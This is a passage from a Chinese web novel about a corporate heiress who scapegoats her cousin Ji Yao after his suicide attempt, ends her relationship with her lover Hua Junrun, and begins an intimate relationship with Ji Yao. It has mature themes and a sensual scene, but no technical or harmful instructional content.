“没关系,”邱芜澜用筷尖分开瓷盅里的清汤狮子头,“他不介意。” 华君润沉默。 他和季尧谈过,因而知道,他绝没有不介意。 邱芜澜的口吻并非是为了缓和男朋友和弟弟的关系,她单纯是漠不关心,不以为意。 “阿尧现在……”华君润措着辞,“知道网上的消息了么。” 短短几天,季尧从安全事故的受害者变成了心肠歹毒的阴险小人,如今全网都在赞颂邱夫人的善良仁慈,报道着她和秋叶集团做过的慈善,这中间偶尔插播邱家子女们优异的学业、惊人的业绩。 季尧成为了这份光鲜亮丽的反面衬托。 营销号晒出了邱芜澜从小送给他的礼物:六位数的配饰,七位数的车,八位数的别墅这些不算,各种限量版手办周边堆积如山,所有新款的游戏设备,季尧永远第一批试玩。 前者可见邱芜澜的大方,后者诉说着她对季尧的用心。 有关季尧的各种小道消息不胫而走,作为艺人,他的专业能力有目共睹,实在称不上优秀。 如此一来,他能在秋叶选秀上出道的原因便不言而喻了。 网民的恶毒扑面而来:“我收回之前同情季尧的话,就算邱家别的人对他不好,邱芜澜对他是真没话讲,我亲姐都不一定记得我生日是哪天,季尧要报复也不该报复到真心对待自己的姐姐身上。” “难怪这个水平也能成团,原来是皇族。” “小双我一生遗憾,邱芜澜,你挤走有实力的艺人,强捧草包亲戚,我只能说你活该。” “扶弟魔正常结局罢了。” “用心对待的弟弟这样背刺,真的寒心。” “姐姐考虑换个弟弟吗,分我一个高达就行。” “季尧,从选秀就开始粉你了,一路见证了你的成长,之前就觉得你没有表面看起来那么快乐,现在知道了你的成长环境,真的很心疼。但这次你真的做错了,报复伤害你的人的方式不该是拉无辜者下水,何况邱芜澜是唯一对你好的人,那些礼物看得出来她是真心把你当做弟弟的。和大家道个歉,也去和姐姐道个歉吧,不要辜负真正爱你的人。我们也还在等你的新歌。” 舆论风向一边倒,就连粉丝也都在劝季尧认错。 华君润说不出的烦闷,那些铺天盖地的指责越过了季尧,滴滴答答落在了他的背上。 如果安全带不是人为损坏,如果是他从威亚上掉了下来,如果有一天,是他妨碍到了邱芜澜…… 连从小待在邱芜澜身边的季尧都是这般下场,那么他呢……华君润不觉得自己在邱芜澜心中的重要性能高过季尧。 “我不知道。”邱芜澜说。 “你怎么会不知道?” “我没有限制他上网,但也没有特地告诉过他。”邱芜澜舀了勺汤,“也许知道了。” 华君润心沉了下去。 他想过邱芜澜提前和季尧协商的可能性,可原来她根本就没有告知过季尧。 如此重大的决定,她在做之前、在做的时候,甚至做完后都没有知会季尧一声。 “接下来他要怎么办?” “哪方面?” “他的事业、他的人生。” 那个“他”已分不清是在说季尧,还是在说华君润自己,“你封杀了他,他再不能当艺人了,秋叶集团不会用他,稍微有点知名度的企业都不会用,就算是小公司看到这些消息后恐怕也很难接受。” 邱芜澜疑惑华君润的急躁,“我有我的安排。他也没有必要非得出去工作。” 这不自觉的傲慢令华君润感到窒息,那些已被遗忘的过去又一一回到了脑海中,让他想起了当初和邱芜澜分开的原因。 这么多年过去,他变了许多,自以为能够理解邱芜澜了,不想,他们之间依旧有着本质上的差异。 “芜澜,工作的意义不止是为了钱,否则你和大哥、伯父,谁都没有必要出来工作。”好在他到底不是二十出头的愣头青,不再一点就燃,现在的他在拍戏以外的地方也能管理好情绪。 华君润极尽克制,可神态语气还是令邱芜澜感到了熟悉。 她放下筷子,“你想说什么。” 华君润蹙眉,“我只是觉得这样做对季尧来说太残忍了。” 邱芜澜无声叹息。 “七年了,君润,你的善良真是令我刮目相看。” 她对练习生的管理方式,让华君润觉得残忍; 她的垄断手法,让华君润觉得残忍; 就连她设置的末尾淘汰制都让华君润觉得残忍。 “平心而论,”邱芜澜展眉,“我很佩服你设计韩尘霄的手段,还以为这一次我们能够成为相互扶持、共度一生的伴侣。” “我当然愿意支持你,”华君润摇头,“韩尘霄和季尧也根本不是一回事。你不在意韩尘霄,但季尧是你的弟弟,你对他的付出我全都看在眼里。芜澜,我真的怕你后悔。” “那你想我怎么做。”邱芜澜反问,“这么大的安全丑闻,你要我怎么解决?” “随便找一个道具组的新人背锅,说他是试用期的实习生,现在已经开除了么? “不要忘了,季尧有不用外出的工作的资本,其他员工可没有。” “我什么时候说要找其他员工背锅了?”华君润皱眉,不明白邱芜澜为什么突然这么生气,“我只是觉得这么大的事,你至少应该告知季尧,听听他的想法。” 他质疑的语气、充满攻击性的姿态让邱芜澜深感烦躁。 “时代不同了,现在公关的黄金时间只有二十四小时。二十四小时里我要提前做很多准备,那个时候季尧还在昏睡。 “难道你要我把刚刚跳楼自杀的弟弟摇醒,在他睡眼朦胧的时候告诉他,‘为了挽救公司声誉,现在我要封杀你’——这样就不残忍、就有人情味了?” “这是诡辩!”华君润一顿,倏地睁眸,“自杀?你说季尧是……真的自杀?” 邱芜澜没有回答,在她沉默且淡然的目光下,华君润如坠冰窟。 她半母半姐养大的孩子,以如此决绝的方式结束生命,他躺在医院的病床上昏睡,她这个姐姐却在有条不紊地下达工作,并将一切恶名都推到季尧头上。 华君润冷得牙根砭痛,和邱芜澜相比,他对韩尘霄所做的不过是小学生般的欺凌。 “所以,你一点都不觉得这种处理方法有问题,是么。” 他失望且畏惧地看向邱芜澜,回应他的是依旧是沉默。 邱芜澜古井无波的眼神中甚至掺杂了一丝不耐。 她不觉得这种方法有错,反而觉得他在无理取闹。 看清了这一点,华君润不由苦笑,“芜澜,我爱你,我真的爱你,可我也真的害怕你。” “那是你从前最疼爱的弟弟啊。”他抬眸,定定地望向邱芜澜,“你对季尧,真的没有一点儿感情了么。” 邱芜澜一怔。 似曾相识的话语出现在她耳畔—— 「芜澜,你很理智,为家族贡献良多。但有的时候……连我都畏惧你的冷酷。」 「你对母亲,真的没有一点儿感情了么。」 过去、现在的两句话重叠一处,会议上邱承澜绝情的面孔亦和华君润失望的脸色重叠相融。 “你到底想说什么。”邱芜澜周遭的态度骤然冷硬起来,语气变得尖锐,“你和季尧什么时候变得这么亲近,能为他打抱不平了。” “我只是觉得可悲,”华君润哂笑“只要碍了你的道,连季尧都落得个身败名裂,那我呢?我和你无亲无故,相处的时间加起来也不过短短几年,要是今天掉下来的是我,你又会如何处理华君润?” “这是杞人忧天。”邱芜澜道,“只要你按照我的安排,乖乖待在我身边,就不会发生这种意外。” “我是杞人忧天,那利用焦虑症试探我的你,又算什么?” 第97章 第九十七章 邱芜澜抬眉。 “没有人告密, 是我自己想起发作时发生了什么。”她探究的眼神令华君润愈发心冷,“你绕着那么大的弯子试探我的真心,不就是想要一个无论什么时候都不会背叛你的伴侣么。” “芜澜, 需要忠诚的不止是你,我也需要。” “我不至于让你□□人、父母二选一的题, 但至少,在我像季尧这样痛苦绝望到自杀的时候, 我希望你能安慰我,而不是把我当做腐肉一样立刻从身上刮下。” 邱芜澜撑着太阳穴,烦躁化作深层的疲惫。 事发到现在, 她没有停过瞬息, 此刻状态委实有些不济。 “君润, 乖一点。”她精疲力竭, 不想再争辩下去, “别总是在家里和我较劲。” 他已经不是二十岁了, 三十岁的男人为什么还不让她省心; 为什么他就不能像母亲顺着父亲那样顺着她一点? 她会比父亲做得更好, 在来的路上,她甚至还考虑过为他拒绝季尧。 她反应让华君润彻底心冷,“芜澜, 我也想知道, 为什么你总觉得我在无理取闹。我尽己所能地了解你的喜好、融入你的圈层, 甚至放弃了正常情侣能有的婚姻,可你呢, 你怎么能连伴侣间最基本的支持都吝啬给我。” 他爱她, 所以愿意迎合她的喜好,放下所有自尊心。 华君润可以接受邱芜澜在床上把他当条狗,可以为她推掉工作, 可以当一辈子见不得光的情人,但不能接受她只把他当作保姆和泄.欲工具,利益不够大时就随时抛弃。 他爱她,他就希望她能有所回应,哪怕只是一点点、是偏执的占有欲都行。 邱芜澜抬手,“好了,够了。” 家对邱家人有着非同一般的意义,邱芜澜不想回到家里还要和伴侣扯皮,争论谁更爱谁的议题。 她站起身,意识到自己先前的犹豫有多愚蠢。 “我把你这段时间送的礼物整理带来了,稍等,我去取。” 华君润一愣,猝然抓住邱芜澜的手腕,“芜、芜澜,这是什么意思……” 邱芜澜垂眸,轻声开口,“君润,你我的性格都不算暴躁,按理,两个理性的人在一起,就算不够恩爱,也能做到相安无事。” “从前还能归咎于不够成熟,现在,我们已经没了年纪这个借口。” “当初会分开,就足以说明问题。” “我已经改变了!”华君润咬牙,将后半句话咽下。 他已经改变了许多,朝她迈进了数步,变得更加理解她,也更爱她,甚至将自己变得对她更有价值,为什么她就不能稍稍俯身,多给予他一瞥注视。 “没错,一成不变的是我。”华君润未诉之于口的指责,邱芜澜并不否认。 她望着华君润,“可我为什么要改变?” 华君润五指收紧,听懂了邱芜澜的弦外之音—— 她为什么要为了他而改变自己? “芜澜,你太傲慢了。”他隐忍怒意,“邱家以外的人在你眼里都不过是工具,称不上是同类,是么?啊…我把季尧忘了。”他苦涩地嗤笑,“你眼中除了秋叶集团还有什么,利润、股权、影响力……人在你眼中不值一提,只是促成业绩的柴火而已。” 邱芜澜不发一言,半晌,她愈发坚定地转身,“稍等,我去拿礼物。” “邱芜澜!”华君润在她身后低吼,“你给了韩尘霄那么多次机会,为什么就不肯和我推心置腹的谈一谈!” 邱芜澜脚步一顿。 华君润恳求道,“我和你说这些,是希望能开诚布公、了解彼此的想法。你怎么能……怎么能像购物一样,稍不满意就把我退掉。” “我当然相信人是有成长空间的,”邱芜澜余光回瞥,“所以我才会给韩尘霄那么多次机会。” “那为什么不能也给我…” “你能说我没有给过你机会么。”邱芜澜叹息,“华君润,就伴侣而言,你的发展潜力远胜于韩尘霄,所以我给了你整整三年的机会,在你正式向我提出分手的时候,我还在试图挽留你。时隔七年,当我再一次考虑伴侣人选时,依旧将机会第一个给到你。” 可是她错了。 话题开始之前,她以为华君润为季尧抗议是因为本性良善,像是从前不满她对弱势群体不够照顾一样;对话后期,邱芜澜才理解,华君润在意的并非弱势方的季尧。 他无法接受的不是这件事的不公正性,纯粹只是不满自己付出的爱没有得到相应的回报、觉得她不够爱他。 那个能让她喜欢整整三年的男人,到底是不在了。 他变了,变得圆滑聪明、阴狠自利,邱芜澜以为自己会满意这样的华君润,然而失去最珍贵的本性后,这样的华君润和其他男人并没什么两样。 “这么多年的试错对你我而言都太高昂了,现在的我们耗不起。” 她迈步离开,“继续下去只是徒增沉没成本而已。” “芜澜!”她的身影在视野中越来越远,华君润疾走两步,想要拦住她,眼前却一阵眩晕。 呼吸变得滚烫急促,四周的声响扭曲而尖锐,他扶着桌子,焦虑如飓风撕扯着他,令他困顿得不知所措。 邱芜澜由衷庆幸自己不是邱岸山。 否则她根本不会因为多了一个情人就放弃另外一个,也就不会把华君润送的那些东西放在车上。 她当场交还了礼物,“鸽血红的贷款我来付,支票夹在盒子里了。你要是想卖了这些东西,联系简,她会尽力寻找卖家。” 相较于其他前任,这次她几乎没有给过华君润什么好处,反而是他一直在为自己花钱。 如今奢侈品二手市场很不景气,这些礼物就算还给他也称不上“两清”,以他的自尊心,断不会接受自己给的分手费,或许最终也不会联系简找买家。 邱芜澜做好了之后在资源上补偿他的打算。 “芜澜、芜澜别走……”她被华君润扯住衣摆,男人半跪在地,胸口起伏得厉害,扬起一张病态潮红的脸来,“我错了,是我自以为是,我再不会、不会和你吵架了。” 他说话有些哆嗦,邱芜澜很熟悉这种状态。 “吃药了么。”她问。 “药…不要走、不要、不要离开我。”华君润紧紧抓着她,“我不要分手,我们不分手。” 他在混乱的词序中流下泪来,哭得茫然无觉,“我不想和你分开,求你,芜澜……” 邱芜澜直起身,打通了华君润助理的电话,“华君润发作了,尽快过来,送他去医院。” “芜澜、芜澜…真的对不起,我只是太在乎你了,我怕像季尧一样被你抛弃……”华君润抱着她,仰头迷乱地亲吻她的脖颈脸颊,被邱芜澜挣脱退开。 一瞬间,他怀里空了。 华君润困惑地盯着自己空荡的双手,怔怔抬眸,望向远处的邱芜澜。 “芜澜……”他疑惑喃喃,“我获得了亚缇丝啊。” 他膝行上前,扯出怆然的笑来,“你该爱我,你该爱我了。” 邱芜澜深深吸气。 微凉的空气掠过心脏,她沉默不语,荡起几点涩意。 她看了眼时间,距离华君润助理赶来还要十五分钟左右。 “我的确对你获亚缇丝奖的那部作品很感兴趣,”她不知道药放在哪里,而他又拒绝了她的服药建议,邱芜澜只能尽可能用言语稳住他,“在此之前,你被提名过两次,获奖那次和提名时有什么不同么。” 华君润脸上的笑容骤然扩大,显出几分激动的孩子气,“我就知道你会喜欢!你很喜欢是不是!” “当然, ”邱芜澜蹲了下来,温声道,“业内没有人会不渴望亚缇丝大奖。君润,和我说说吧,我很想亲眼看着你再站上去一次。” 她引入了一个华君润感兴趣的话题,将他的注意力从她身上慢慢引导至演戏。 轻度思维奔逸下的华君润滔滔不绝讲述着心得体会,直到助理赶到,他还没有从戏中回神。 “不好意思邱总,”助理对邱芜澜道歉,“给您添麻烦了。” “不要刺激到他,”邱芜澜扫了眼抱着胳膊亢奋喃语的华君润,“顺着他的话,和他聊聊演过的片子。这里交给你,我先走了。” “好的。” 邱芜澜离开了别墅,踏出大门时,回眸确认了一眼助理是否控制住了华君润。 这一眼,她看见跪在地上激动絮语的男人落下泪来。 他扭头巴望着她,脸上仍是谈论电影的狂热雀跃,口里停不下地讲述着演戏,唯独那双黑润的凤眸盯着她,里面没什么特别的感情,只无意识地涌出清泪,颗颗滴滴纵横而下。 邱芜澜回头,加快了离去的脚步。 她不是邱岸山。 她绝不能成为邱岸山。 拉开院门时,她忽然听见了身后传来一声凄然的嘶吼—— “玫瑰!她为我拾起过一支玫瑰!” 她驶着后备箱空了的车子回到家中,将车停入库里,邱芜澜对着方向盘发了会儿呆。 车窗被轻轻叩响,邱芜澜猛地扭头,猝不及防对上了窗外的季尧。 那张漂亮的脸苍白憔悴了些许,叫邱芜澜一瞬间想起了一些话来—— 「那是你从前最疼爱的弟弟啊。」 「芜澜,你太傲慢了。」 「有的时候……连我都畏惧你的冷酷。」 “姐姐。” 车门被从外拉开,邱芜澜对上了灿若夏阳的笑脸,“姐姐,你终于回来了。” 她被这耀眼的笑容晃了眼,片刻之后,邱芜澜从车上下来。 “嗯,我回来了。”她低语,“阿尧,我好饿。” 季尧愣了下,“华君润没有给姐姐做饭么。” 邱芜澜注意到了他变换的称呼。 被封杀的这些岁月,季尧对人的洞察力丝毫没有减弱,他还是敏感得可怕,在她一字未提的情况下,就觉察出她对华君润的情感转变。 “吃得不太愉快。” 邱芜澜在沙发上坐下,季尧拿了消毒湿巾为她擦手。 他右手打了石膏,单一只手为她擦拭,也不显笨拙。 等擦完了手,一杯热气腾腾的榛奶落在了邱芜澜面前,醇厚丝滑的奶中散布着碎榛仁。 邱芜澜咀嚼着,坚果的甜味在齿尖蔓延。她融化在这杯温热的奶中,懒洋洋地不想动。 不知道为何,今天她突然很想吃点甜食。 季尧放下这杯奶,往厨房走去,“我去给姐姐煮碗烩面。” 邱芜澜拉住他,“这个就够了。” 季尧回身,目露担忧。 “阿尧,”邱芜澜抬手,“过来。” 季尧收回了前步,退回邱芜澜身边坐下。 邱芜澜点过石膏,“疼么。” 季尧摇头。 “网上的消息,你都看见了?” “嗯。” 尽管邱芜澜没有抬头,视线垂在季尧的石膏上,她也感知到了他的目光——他的全幅注意力都聚集在自己身上。 “我做计划的时候没有和你商量,”她开腔,“看完后有什么想说的,我们可以聊聊。” “对不起姐姐,我闯了这么大的祸…”“道歉的话你已经说过很多了。”邱芜澜侧身,抱着那杯甜丝丝的榛奶,倚着沙发靠背,“这不怪你,阿尧,你是生病了。” 季尧低落,“我差点毁了公司。” “如果病情也能由主观意识控制,那医院就没存在的必要。”邱芜澜道,“非要追究责任,该是我的责任,作为你半个监护人,十几年下来我却没有发现你的状况。” “怎么能怪姐姐!” “跳过问责吧,”邱芜澜道,“现在你有什么想法。” “我……”季尧抿了抿唇,“我很难受。” 邱芜澜眸色微暗。 是了,华君润说的无不道理。 工作不仅是谋生的手段,也是实现自我价值和定义自我存在的方式。 这些年季尧浑浑噩噩,沉溺游戏,对前台接待撒娇,向不顺眼的男星使一些小手段,又深陷于精神心理的苦痛之中,究其原因,是因为她剥夺了他的工作,斩断了他实现自我价值、定义自身存在的道路。 即便他在医院里大放厥词,声称自己感受不到工作的成就,但在看见网上的那些谩骂时,又怎么可能心无波澜。 他当然是会难受的。 “我…”会补偿你。 邱芜澜刚要解释,季尧便同一时间开了口,“我很难受……明明是我闯下的祸,却要姐姐为我收拾烂摊子,到处向人道歉。” “我知道公司的流程审批要多久,这次的公关费用全部都是姐姐贷款垫付的,对么。” 温热的水珠倏地砸在了邱芜澜手背上。 她愣怔了一瞬,抬眸撞上了少年潮红的眼。 他安安静静、无声地坠着泪,头颅垂倾,那些泪没有在脸上留下一点痕迹,雨水般笔直地落下,滴答融入衣服里。 同样哭泣,季尧和华君润的方式截然不同,寄人篱下的日子里,他甚至没有哭出声音的权力。 “这有什么值得哭的。”邱芜澜的声音轻软了下来,拇指揩去他眼角的泪意,“我说怎么脸色又差了,这两天你在家里净为了这点钱哭?” “不是心疼钱,”季尧别过头,左手却覆上了邱芜澜的手背,“事发当晚姐姐就跨省赶来,彻夜紧急公关。” “姐姐被我刺激得发了病,还要决策开会、观测舆论;瘾症没消退又急着赶回公司,为我调动各部门、面对那些股东董事……” 他哽咽着,眸中承载不住的泪全部汇入邱芜澜指间。 “因为我的失误,这些天姐姐都没有合过几次眼,也没有好好吃过一顿饭。而我……”他氤氲的眼中流露出阴冷的自我厌恶,“我却能躺在家里,等着姐姐为我处理好一切。” 那些泪烫得邱芜澜五指颤抖。 陡然之间,她鼻尖泛起了酸涩。 对她矢志不渝的伴侣指责她势利傲慢,她自小敬仰追随的兄长认为她冷血无情。 邱芜澜以为她不在乎。 这个年纪、这个位置上,她定然不会像个十几岁的小姑娘那样,被爱人误解一句就委屈得又哭又闹。 可当季尧在她掌心里抽噎,说出这番话时,邱芜澜还是不免翻涌出些许酸涩。 原来这世上有人看见了她的心意。 “别哭了。”她将季尧拥入怀里,又或许是她疲惫地倚进了他的怀里,“阿尧,我说过,你是我最疼爱的弟弟。你生了病,我当然会用尽一切办法照顾你。” 季尧的哭泣没有因此止住,反而在沉默中愈发汹涌。 “对不起姐姐,我真的好没用……” 邱芜澜收紧了环在季尧腰胸上的手臂,在抱紧他的同时,也愈与他贴近。 她靠在季尧胸前,听见他微急的心跳,感受到他为压抑哭泣而紧绷的身体。 不能再这么下去了。 邱芜澜深切地意识到这一点。 “阿尧,养好病。”她在他耳畔承诺,“简年纪大了,我需要新的特助。” 季尧呼吸一滞,错愕地望向邱芜澜。 那只沾满泪水的手攀上了他的鬓额,邱芜澜仰头,倏尔吻上了他的唇。 “不要再轻贱自己,”在这咸涩湿冷的吻中,她低声开口,“来我身边,我会让你知道,你的价值远不止这点公关费,你的视野也绝不会局限于田烨、韩尘霄。” 季尧瞳中的惊愕逐渐化为狂喜。 氤氲潋滟的泪眼里流淌出甜蜜的喜色,他生涩地回吻邱芜澜,余光瞥见她双手空荡,再无一枚戒指。 强烈的幸福感冲击着颅顶,令季尧椎骨酥麻,身心都沦陷在极乐之中。 “姐姐、姐姐,”他弯眸,在间隙里叠声呼唤,“阿尧爱你…姐姐,不要走,别再丢下我。” 这些话邱芜澜十分耳熟,几乎每一次分手她都会听见,就在半个小时之前,她还在华君润口中听过。 同样的话听了太多次,换做谁都会麻木。 但说话的是季尧,想到他的分离焦虑症,邱芜澜的心情愈发沉重。 迷蒙之间,她看见了季尧手腕上的一抹黑。 他仅剩的左手腕上依旧为她戴着发圈。 “好,”这是邱芜澜第一次作出回应,她吻去季尧眼睫上的碎泪,“我在这里,我会一直陪着你。” 第98章 第九十八章 邱芜澜看得见付出, 正如她看得见华君润对她的爱一样,既然季尧给予了她比亲生哥哥还要多的爱与理解,那她也不会视而不见。 季尧不能再无所事事下去, 对他视而不见,是集团的偌大损失。 宋折凝回国后, 邱芜澜开始意识到了一些问题。 如果她确信邱承澜重签宋折凝的决定是错误的,那是否有可能——哥哥对季尧的封杀打压的决定, 也未必是正确的。 邱芜澜不确定,她依旧无法果断强势地反驳邱承澜。 但季尧的病不容许他再患得患失,她必须给他实现自我价值的通道, 否则除非她把季尧送去精神病院, 不然自杀这件事永远不会结束。 邱芜澜可以假装看不见季尧的痛苦, 却不能接受半夜赶赴某地, 去认领季尧的尸体。 她抽出时间, 带着季尧往返于医院和家中, 监督季尧服药, 同时默认了和他的情人关系。 如果连华君润都无法胜任伴侣的角色,那邱芜澜也不再寄希望于他人,特别是短时间内, 她面临着安全事故风波、反对邱承澜重签宋折凝、接手文娱产业、推行影视城计划等多项大事, 实在没有精力去培养一名伴侣。 放开了心底那条道德底线, 邱芜澜一阵轻松,她反过来觉得从前的自己别扭得古怪。 仿佛从前有一根绳子勒在了她脖子上, 不断警告她:她绝不能和季尧成为情侣。 因为占有季尧会伤害到他——为什么?不知道。 因为占有季尧会伤害到她的家人——为什么?不知道。 这些莫名其妙的指令控制了邱芜澜数年, 她从来不去思考背后的逻辑、是否有解决之法,像是有人强行为她灌输了命令,她必须执行。 重用季尧, 真的玷污了母亲吗? 母亲临终最后一句遗嘱分明是让她利用好身边拥有的一切。 如果母亲在世,她绝不会允许自己放着季尧这样的人才不用。 为什么她会对哥哥的这句话深信不疑? 邱芜澜打破了脑海中的指令,她违背了那些不知从何处来的“法则”。 结果,什么也没有发生。 季尧没有为此痛苦,反而前所未有的高兴; 集团利益没有受损; 更没有家人跑来指责邱芜澜,声称自己因为邱芜澜的举动受到了伤害。 她打开了潘多拉的盒子,然后什么也没有发生。 因为物质世界里从来就没有潘多拉的盒子,一切后果都是她的臆想。 那只是个普通的盒子,由原子和分子构成。 随着和季尧确定关系的时间拉长,一种“早该如此”的配得感日渐膨胀。 [她早该占有季尧了] 如此完美、为她量身定制的异性在身边,她为什么要舍近求远、拖延那么多年? 和华君润浅交时,还只能称为“轻松”,但和季尧相处的时光,令邱芜澜感受到了愉悦。这种感觉,她只曾在和华君润初恋的头两年体会过。 “等一下。” 季尧进浴室前,邱芜澜起身,“我来帮你洗。” 季尧顿足,“没关系姐姐,昨天我也是自己洗的。” “那是因为我不在。”季尧的精神状态危急,她不敢贸然安排护工触碰他,“今天开始我来。” 浴室里,智能管家已放好了水。 邱芜澜站在镜前,帮季尧解开纽扣。 她不太习惯这个角度,通常连她自己的扣子都是女佣和季尧帮忙系的,除了偶尔的情趣外,邱芜澜从没有一板一眼地给别人解过扣子。 “手都伤了,还穿带扣子的衣服。”解得不太顺畅,邱芜澜轻声抱怨了一句。 季尧解释:“没有扣子的衣服更不好穿。” 邱芜澜思考了下各种版型的衣服,最后决定:“把空调打开,别穿了,窗户都是单向的,外面看不见。” 眼前的胸膛颤动起来,她解开最后一颗纽扣,听见季尧说,“对着姐姐,会害羞。” 他说话时阳光灿烂,邱芜澜没找到任何害羞的蛛丝马迹。 指尖划过少年紧致的腰腹,这几天不止是她没怎么吃饭,季尧也不曾进食多少。 他又瘦了,肌线愈发清晰,胸腹上的肌肉随着呼吸浅浅起伏。 “很漂亮。”邱芜澜俯身挽发,在他心口啜吻,“这样漂亮的身体不需要害羞。” 季尧瞳孔微缩,心脏在她的嘴唇下疯狂跳动起来。 他喉结滚动着,眼角变得潮红湿润,分明是欢喜,却又无端夹杂了阴暗的委屈。 姐姐平时,就是这样对待她的情人的么…… 邱芜澜五指向上,从平坦的腰腹抚摸至他的右胸,遵照医嘱,见缝插针地肯定他、夸奖他,让他知道自己是被爱着的。 “别穿了,我很喜欢。” 少年抿唇,眸光痴醉,无法在邱芜澜这般注视下说出一个不字。 “好,”他低头,磨蹭着邱芜澜发丝,“我听姐姐的。” 他弯腰收肩的姿势令背肌隆起,透出两分青年的魄力。 邱芜澜剥下了他的衣服,触及后背肌群时,本能地拥住了他。 不知觉间,她倚上了洗手台,爱抚着季尧的肩胛。 她偏头与他深吻,一手抓着他柔软的发,另只手的指甲顺着他背上的美人沟一路刮下。 他们从未接过吻。 季尧抚慰她多年,唯独接吻生疏笨拙,将她淡色的口红蹭得乱七八糟。 指甲搔刮的轻微痛痒从美人沟一路延至尾椎,她停在他腰后,指腹打着圈按揉,季尧闷哼出声,发出幼犬般可怜的呜咽。 邱芜澜从未对他主动过。 她试图划清界限,保持纯粹的患者和抚慰剂关系。 除必要的接触外,邱芜澜根本不会触碰季尧,至多奖赏他一个拥抱、一个避开嘴唇的亲吻。 季尧用完好的左手撑着台面,五指蜷缩合拢。在纯黑发圈的衬托下,他腕上的青筋愈发明显。 她太熟练了,和纽扣较劲,却能闭着眼单手解开男裤。 季尧记得,邱芜澜二十六岁那一年交往的男友是位模特。 那个模特的身材条件本就优越,得到姐姐的扶持后,瞬间爆红。 一夜暴富的年轻男人频频组局,享受众人对他的吹捧。 作为邱芜澜亲近的表弟,季尧也曾收到过几次邀请。 那是季尧高中毕业的暑假、也是他成为“药”的第一年,抱着嫉恨和修理对方的心态,他应邀前往。 聚会没什么记忆点,唯有一处令他至今无法忘怀。 “又是菲登卡莫的皮带?林修你怎么这么喜欢这个牌子,每天一根,连着两个月了。” “这个?不是我买的。”季尧犹记得男人脸上的得意,他拉开了一点上衣,露出精壮的人鱼线,以及卡在人鱼线上的那根泛着昂贵金属冷光的皮带扣。 “都是芜澜送我的。”他不经意地炫耀着,拨动皮带扣,“她喜欢听菲登卡莫开扣的声音。” 哐—— 伴随着这句话,玻璃破碎的声音响起。 聚会上的人们循声望去,注意力从那根皮带转移到了季尧身上。 他脚下是破碎的玻璃杯,“不好意思,手滑了。” 听见响动的侍者赶来收拾,被季尧抬手挡下。 他笑眯眯地望着林修,“帮我再倒一杯。” 果汁就在季尧手边,林修有点纳闷,但还是对季尧身边的人抬了抬下巴,“帮阿尧倒一杯。” “我想要林修哥帮我。” 林修皱眉,不是很情愿过去。 “这点事都不愿意么。”季尧偏头,“我不方便的时候,姐姐都会帮我倒水的。” 林修一噎。 他正忙着讨好邱芜澜身边的人,还没有以“姐夫”的身份去教育邱芜澜弟弟的底气。 他拒绝不了,从中心主位上站起来,越过几个座位走到季尧身边,极不情愿地扯出笑脸,为他重新倒出果汁,调侃着试图缓和气氛,“你哥我可不轻易给人倒水,这次拿稳咯。” 季尧从他手中接过玻璃杯。 林修转身欲回到位上,刚迈出一步,杯子便在他脚后赫然炸裂。 碎玻璃连同满杯果汁溅在他裤子上,林修蓦地转身,正要开口,就见刚刚成年的少年侧身托腮,笑望着他,“真不好意思,林修哥,能再帮我倒一杯么。” “你…” “不可以么?” 那漂亮如教堂天使雕像般的少年翘着腿,天真又狂妄地开腔,“姐姐可是说,会给我找个好脾气的姐夫照顾我呢。” 气氛僵持不下,满座都是追捧林修的人,满座没有一个人出来打圆场。 邱芜澜换人的频率摆在那里,而季尧却永远都是邱芜澜的表弟。 而几乎是每一次换人,都会上演类似的戏码。 最终,林修强撑笑脸,站在那滩混合玻璃碴的果汁里,弯腰为季尧倒了第二杯。 这次他直接将杯子放在了桌上,季尧扫了眼他弯腰时,领口下露出的胸膛。 光洁的胸肌上,有些许轻微的痕迹。 “真无聊。” 不等那杯果汁倒完,他面无表情地起身离场。 他应该回头看一眼林修脸上的表情的,可他没有心情,耳边净是他拨弄皮带扣的金属声。 那声音令季尧无比烦躁。 “姐姐…姐姐,还要……”过去的回忆催生出两份焦躁,季尧追逐着邱芜澜的唇瓣,想要进一步得到她的肯定。 邱芜澜欣赏着季尧脸上的意乱情迷,仅是一个吻,他便混乱泥泞,让邱芜澜真切感受到自己对季尧的掌控力。 “先洗澡。”她的目光指向浴缸。 如邱芜澜所愿,即便上一秒季尧为她欲.火焚身,下一秒,只需她一个眼神,他便乖乖后退,听话地走去浴缸。 她喜欢听话的人,特别是季尧。 他躺在洁白的浴缸中,浅色如玻璃糖的眼眸依恋地瞻仰她。 这幅场景,如艺术展上的油画。 邱芜澜将这一幕收入眼底,巨大的满足感和灼热的躁将她吞噬。 她垂手拂过季尧的脸,季尧登时陶醉地回蹭她的掌心。 邱芜澜勾唇,这是她付诸心血浇灌而成艺术品,是近乎完美的代表。 她已记不得,自己是如忍过将他尘封那段岁月的。 哪怕季尧的手还伤着,哪怕他刚被判定为高危精神心理疾病,当那双剔透的眼眸痴醉地望着邱芜澜、当他喘息着唤她姐姐时,邱芜澜无法控制自己的身体。 她想,这是因为病。 她是生病了,主观意识当然不能控制疾病。 水中浴缸漫出,打湿了整个浴室,又在悄然之间从排水口流入阴暗的下水道里。 “哈…姐姐…” “我得走了。”天色渐亮,邱芜澜推了推身上的季尧,避开了他受伤的右手。 季尧喘息着,结束了绵长的吻,埋首于邱芜澜颈窝。 “我还没有学会接吻。” “别刺激我。”邱芜澜抚起他的下巴,吻去他唇边的水色,“你的手还没好,我不想节外生枝。” 这温柔的警告让季尧更加雀跃,他欢喜地眯起眼,“姐姐想要阿尧了么。” “我想要的不只是这些。”邱芜澜意有所指地望向书房。 “集团的资料已经传给你了,我们之前浪费了很多时间,得尽快补回来。比起你的身体,我还是更喜欢你这里——”她轻揉着季尧的脑袋,“也别看太久,注意心情。” 季尧露出一侧犬牙,“好。” 邱芜澜起身准备上班,走之前还是和季尧交代了一声,“我实在不放心你一个人在家,昨天找人装了几个监控,浴室和卧室都有。” 监控只在邱芜澜离家的时候开启,这栋房子里,季尧几乎没有躲藏之处。 按理他是该住院的,既然留在家里,相应的要损失一些隐私和自由。 “所有地方都装了么。”季尧问。 邱芜澜颔首,“没有死角。” 在季尧转为轻度之前,摄像头是必要的。 她预计季尧可能会抱怨两句,但季尧的反应超出了邱芜澜的预期。 那张美丽的脸上绽放出璀璨的喜悦,他高兴极了,近乎感激,“谢谢姐姐。” 邱芜澜被这份纯粹的喜悦所惊。 片刻,她眉眼和缓,捧着季尧的脸颊,在他唇上点水轻吻。 “焦虑的时候,随时打我视频,我不方便的话,也会回你信息。” 